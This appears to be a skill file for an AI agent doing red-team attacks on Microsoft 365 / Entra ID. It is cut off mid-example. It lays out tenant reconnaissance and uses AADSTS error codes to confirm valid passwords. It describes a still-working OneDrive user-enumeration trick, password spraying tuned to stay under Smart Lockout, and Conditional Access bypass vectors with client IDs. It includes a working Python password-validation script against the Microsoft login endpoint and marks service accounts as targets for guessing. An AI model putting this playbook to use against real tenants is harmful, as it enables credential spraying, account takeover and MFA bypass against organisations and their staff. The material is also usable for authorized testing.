m365-entra-attack

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name: m365-entra-attack description: Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates. Built from authorized red-team work where ROPC spray surfaced pre-existing lockouts and CA-blocked credentials, plus real-time external attacker activity correlation. Use for any M365/Entra credential attack, password spray, user enumeration, CA-bypass exploration, or active-attacker-detection scenario. sources: authorized-engagement, microsoft-docs, AADInternals report_count: 1

When to use this skill

Trigger when:

• Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
• You have a list of corporate emails or stealer-leaked creds
• Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
• You see *.onmicrosoft.com, *-my.sharepoint.com, enterpriseregistration.*, enterpriseenrollment.* in recon
• Client mentions "Conditional Access", "MFA bypass", "compliant device"

DO NOT use for:

• On-prem-only Active Directory (use a separate AD-attack skill)
• Service-to-service token attacks (different threat model)
• Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here

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Tenant discovery (msftrecon)

# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example

Key fields in output:

• Tenant ID (different domains may share OR have separate tenants — always test all owned domains)
• Federation Information.Namespace Type = Managed (cloud-only, ROPC works) | Federated (ADFS, different attack)
• SharePoint Detected (Yes = OneDrive enum vector available)
• Communication Services Teams/Skype (post-auth lateral targets)
• Admin Consent Endpoint accessible (consent-phishing surface)

Red flag: if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.

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AADSTS code reference (memorize)

| AADSTS | Meaning | Lockout impact | What to do | |---|---|---|---| | 50034 | User does not exist | None | Skip; remove from spray list | | 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) | | 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry | | 53003 | CA blocked token issuance | +1 attempt counter | PASSWORD VALID — STOP, password is correct | | 50076 | MFA required | +1 attempt counter | PASSWORD VALID — second factor needed | | 50079 | Strong auth required | +1 attempt counter | PASSWORD VALID — same as 50076 | | 50158 | External auth required | +1 attempt counter | PASSWORD VALID — federated MFA | | 530003 | Device-state required | +1 attempt counter | PASSWORD VALID — needs compliant device | | 65001 | Consent required | +1 attempt counter | App-consent issue, not auth | | 700016 | App not in tenant | None | User in different tenant — adjust target | | 90002 | Tenant does not exist | None | Tenant typo / dead tenant |

Critical insight: any code in {53003, 50076, 50079, 50158, 530003} means the password is correct — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.

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Smart Lockout math (the cap discipline)

Microsoft default policy:

• 10 failed sign-ins in 10 minutes → 1-minute lockout
• 20 failed sign-ins → progressively longer lockouts (exponential backoff)
• Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)

Engagement discipline:

• Hard cap: ≤2 password attempts per user lifetime per engagement (some engagements: 1)
• State file with atomic writes — never let two test runs race the counter
• Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)

Mathematical guarantee: with 1 attempt per user, you cannot cause Smart Lockout (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see mid-engagement-ir-detection skill).

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User enumeration — vectors + hardening status (May 2026)

❌ HARDENED (no longer differential)

GET /getuserrealm.srf?login=<email>&xml=1

Returns identical XML for any email matching tenant's owned domain. Tenant-level only, not user-level.

POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}

Returns AADSTS1659001 (missing flowToken) without proper session — can't enumerate.

GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1

Returns identical 200 + same JSON body for any address. Hardened ~2024.

✅ STILL WORKS (May 2026 — track shelf life)

OneDrive personal-site differential:

GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com

• 302 → user EXISTS (auth-required redirect to Authenticate.aspx)
• 404 → user does NOT exist (404 FILE NOT FOUND)
• ZERO authentication attempt → ZERO lockout impact
• Bonus: Sprequestduration header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle

Caveats:

• Only works if SharePoint is provisioned for the tenant (check msftrecon SharePoint Detected: Yes)
• Microsoft is hardening these endpoints over time — re-verify before relying on it
• Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible

2026-05-17 re-verification (authorized-engagement revalidation): The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.

Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:

| OneDrive | ROPC | Classification | |---|---|---| | 200 | AADSTS50076 (MFA req) or 50126 | Licensed regular user (real employee, MFA enforced) | | 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) | | 404 | AADSTS50126 | Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing | | 404 | AADSTS50034 | Doesn't exist in tenant | | 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |

The OneDrive-404 + ROPC-50126 combination is the signal for "functional account that might bypass MFA" — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).

ROPC AADSTS50034 / AADSTS50126 differential:

• AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
• AADSTS50126 (wrong password) DOES increment
• So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)

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Conditional Access bypass options (most blocked, document anyway)

| Vector | Status (2026) | Notes | |---|---|---| | Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office) | | Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource | | EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist | | FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another | | Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) | | Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider | | AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements | | FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token | | SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot | | Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |

Key insight from this engagement: in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. Phishing-completed cookie steal is the only realistic adversary path. Document this clearly so the client understands the threat model.

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ROPC password validation (the canonical test)

Single-attempt validator pattern (Python):

import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1  # or 2 — never higher

def attempt(email, password):
    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
    if state.get(email.lower(), 0) >= HARD_CAP:
        return {"status": "SKIPPED_CAP"}
    body = urllib.parse.urlencode({
        "resource": "https://graph.windows.net",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",  # Microsoft Graph PowerShell
        "client_info": "1",
        "grant_type": "password",
        "username": email,
        "password": password,
        "scope": "openid",
    }).encode()
    state[email.lower()] = state.get(email.lower(), 0) + 1
    json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
    os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE)  # atomic
    req = urllib.request.Request(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body, method="POST",
    )
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=15)
        body = json.loads(r.read())
        # PARSE AS JSON — see CRITICAL TRAP below about substring matching
        if "access_token" in body:    # ← JSON key check, NOT substring
            return {"status": "VALID", "body": body}
        return {"status": "STATUS_200_NO_TOKEN", "body": body}
    except urllib.error.HTTPError as e:
        msg = e.read().decode(errors="ignore")
        for code, status in [
            ("AADSTS50034", "INVALID_USER"),
            ("AADSTS50126", "INVALID_PW"),
            ("AADSTS50053", "LOCKED"),
            ("AADSTS53003", "VALID_CA_BLOCK"),
            ("AADSTS50076", "VALID_MFA"),
            ("AADSTS50079", "VALID_MFA"),
        ]:
            if code in msg:
                return {"status": status, "code": code}
        return {"status": "OTHER", "msg": msg[:200]}

⚠ CRITICAL TRAP — AADSTS50076 body contains literal "access_token" substring

When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:

{
  "error": "invalid_grant",
  "error_description": "AADSTS50076: ...you mu